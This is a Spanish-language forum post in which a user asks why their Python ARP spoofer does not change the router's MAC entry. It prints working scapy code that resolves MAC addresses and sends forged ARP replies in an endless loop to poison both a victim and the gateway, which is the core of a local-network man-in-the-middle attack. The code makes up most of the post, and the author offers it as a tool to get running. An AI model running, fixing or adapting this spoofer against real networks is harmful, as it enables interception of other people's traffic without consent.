Título: Problema con software ARP Spoofer Publicado por: Operator 016 en 17 Enero 2022, 00:01 am Hola. Estoy programando un arp spoofer en python3 (en visual studio). Tengo un problema con el siguiente código, y es que al mandar el spoof una sola vez sí que cambia el mac del ip del router; pero si lo pongo dos veces (la primera vez para indicarle a la victima que yo soy el router, y la segunda viceversa) como indica el tutorial donde lo aprendí, el mac del router no cambia.
Citar import scapy.all as scapy import time def get_mac(ip): arp_request = scapy.ARP(pdst = ip) broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast / arp_request answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] return answered_list[0][1].hwsrc def spoof(target_ip, spoof_ip): target_mac = get_mac(target_ip) packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) scapy.send(packet) while True: spoof("(ip de la victima)", "(ip del gateway/router)") spoof("ip del gateway/router", "ip de la victima") time.sleep(2) |